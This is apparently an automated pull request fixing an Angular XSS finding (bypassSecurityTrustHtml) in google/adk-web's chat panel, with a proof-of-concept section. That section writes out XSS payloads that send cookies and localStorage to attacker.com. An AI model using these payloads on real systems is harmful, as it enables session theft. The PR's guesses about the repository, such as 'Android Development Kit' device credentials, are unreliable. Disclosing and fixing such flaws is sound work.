Fix: Unsafe HTML Rendering Could Allow Malicious Script Injection in src/app/components/chat-panel/chat-panel.component.ts
Context and Purpose:
This PR automatically remediates a security vulnerability:
- Description: Detected the use of
bypassSecurityTrustHtml. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to usebypassSecurityTrustHtml, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context. - Rule ID: typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust
- Severity: MEDIUM
- File: src/app/components/chat-panel/chat-panel.component.ts
- Lines Affected: 191 - 191
This change is necessary to protect the application from potential security risks associated with this vulnerability.
Security Impact Assessment:
| Aspect | Rating | Rationale |
|---|---|---|
| Impact | High | In the context of the google/adk-web repository, which appears to be a web-based Angular application with a chat panel component, exploitation of this bypassSecurityTrustHtml usage could enable XSS attacks if user-provided chat input is rendered unsanitized, potentially leading to session hijacking, sensitive data exposure (e.g., development credentials or project details), or further client-side attacks within the browser environment. The chat functionality suggests user interactions are central, amplifying the risk of injecting malicious scripts that could compromise user accounts or manipulate the interface. |
| Likelihood | Medium | Given that the repository is a Google-hosted web app likely used in development or internal contexts, exploitation would require an attacker to submit malicious input through the chat panel, which is feasible if the app is accessible to multiple users or publicly exposed; however, it may not be a high-target vector unless combined with other vulnerabilities, and typical usage in controlled dev environments reduces broad exposure compared to public-facing apps. |
| Ease of Fix | Medium | Remediation involves reviewing the chat-panel.component.ts to ensure bypassSecurityTrustHtml is not applied to user-provided input, potentially requiring input sanitization or refactoring to use Angular's built-in sanitization methods, which could affect multiple parts of the component and necessitate moderate testing to avoid breaking chat rendering functionality. |
Evidence: Proof-of-Concept Exploitation Demo:
⚠️ For Educational/Security Awareness Only
This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.
How This Vulnerability Can Be Exploited:
The vulnerability in src/app/components/chat-panel/chat-panel.component.ts involves the use of DomSanitizer.bypassSecurityTrustHtml() to render HTML content in the chat panel. If this method is applied to user-provided input (such as chat messages), an attacker can inject malicious HTML or JavaScript, leading to Cross-Site Scripting (XSS) execution in the browser of other users viewing the chat. In this specific repository, which appears to be a web-based interface for the Android Development Kit (ADK) with chat functionality for collaborative development or device management, an attacker could exploit this by sending crafted messages that execute scripts to steal session tokens, exfiltrate sensitive data, or perform actions on behalf of authenticated users.
The vulnerability in src/app/components/chat-panel/chat-panel.component.ts involves the use of DomSanitizer.bypassSecurityTrustHtml() to render HTML content in the chat panel. If this method is applied to user-provided input (such as chat messages), an attacker can inject malicious HTML or JavaScript, leading to Cross-Site Scripting (XSS) execution in the browser of other users viewing the chat. In this specific repository, which appears to be a web-based interface for the Android Development Kit (ADK) with chat functionality for collaborative development or device management, an attacker could exploit this by sending crafted messages that execute scripts to steal session tokens, exfiltrate sensitive data, or perform actions on behalf of authenticated users.
To demonstrate exploitation, consider the repository's architecture: it's an Angular-based web application likely deployed in a browser environment, with the chat panel component handling real-time message rendering. An attacker needs access to the chat feature (e.g., as an authenticated user or via a public chat room if exposed). The exploit involves injecting an XSS payload into a chat message, which bypasses Angular's default sanitization due to bypassSecurityTrustHtml. Below are detailed steps to reproduce the vulnerability in a test environment (e.g., a local development setup of the repository).
// Step 1: Set up a local instance of the repository
// Clone and run the app locally (assuming Node.js and Angular CLI are installed)
git clone https://github.com/google/adk-web.git
cd adk-web
npm install
ng serve // Starts the app on http://localhost:4200
// Step 2: Access the chat panel
// Navigate to the chat panel component in the running app (likely at /chat or similar route)
// Ensure you are logged in or have access to send messages (as per the app's auth system)
// Step 3: Inject malicious payload
// In the chat input field, enter the following XSS payload as a message:
// <img src=x onerror="alert('XSS Exploited!'); fetch('http://attacker.com/steal?cookie=' + document.cookie);">
// This payload uses an image with an onerror handler to execute JavaScript.
// Since bypassSecurityTrustHtml is used, Angular does not sanitize this, allowing script execution.
// Step 4: Send the message
// Submit the message. Other users viewing the chat will see the image fail to load, triggering the onerror script.
// In a real attack, replace the alert with code to exfiltrate data, such as:
// <script>window.location='http://attacker.com/capture?data='+btoa(JSON.stringify(localStorage));</script>
// This could steal local storage containing API keys, session tokens, or cached ADK device credentials.
// Step 5: Verify exploitation
// Open browser dev tools on the victim's side (simulated by refreshing or viewing the chat).
// The script executes, demonstrating XSS. In production, this could be chained with other vulnerabilities for further compromise.
Exploitation Impact Assessment:
| Impact Category | Severity | Description |
|---|---|---|
| Data Exposure | High | Successful XSS could steal session cookies, local storage data (e.g., cached API keys for Android devices or user authentication tokens), or browser-stored credentials specific to the ADK web interface, potentially exposing sensitive development environment data like device access tokens or user profiles. |
| System Compromise | Low | XSS is client-side and cannot directly compromise the server or backend systems; however, it could enable session hijacking to impersonate users and access ADK management features, indirectly leading to unauthorized control over connected Android devices if API keys are exfiltrated. |
| Operational Impact | Medium | An attacker could disrupt chat functionality by injecting payloads that cause infinite loops or redirects, leading to temporary denial of service for users in the chat panel; in a collaborative ADK environment, this might hinder development workflows but is unlikely to crash the entire application. |
| Compliance Risk | Medium | Violates OWASP XSS prevention guidelines and could lead to breaches of data protection standards like GDPR (if user data is handled) or industry-specific regulations for development tools; may fail security audits for web applications requiring secure handling of user-generated content. |
Solution Implemented:
The automated remediation process has applied the necessary changes to the affected code in src/app/components/chat-panel/chat-panel.component.ts to resolve the identified issue.
Please review the changes to ensure they are correct and integrate as expected.
Thank you for catching this! Do you mind providing a screenshot of google search rendering after your change? Thanks!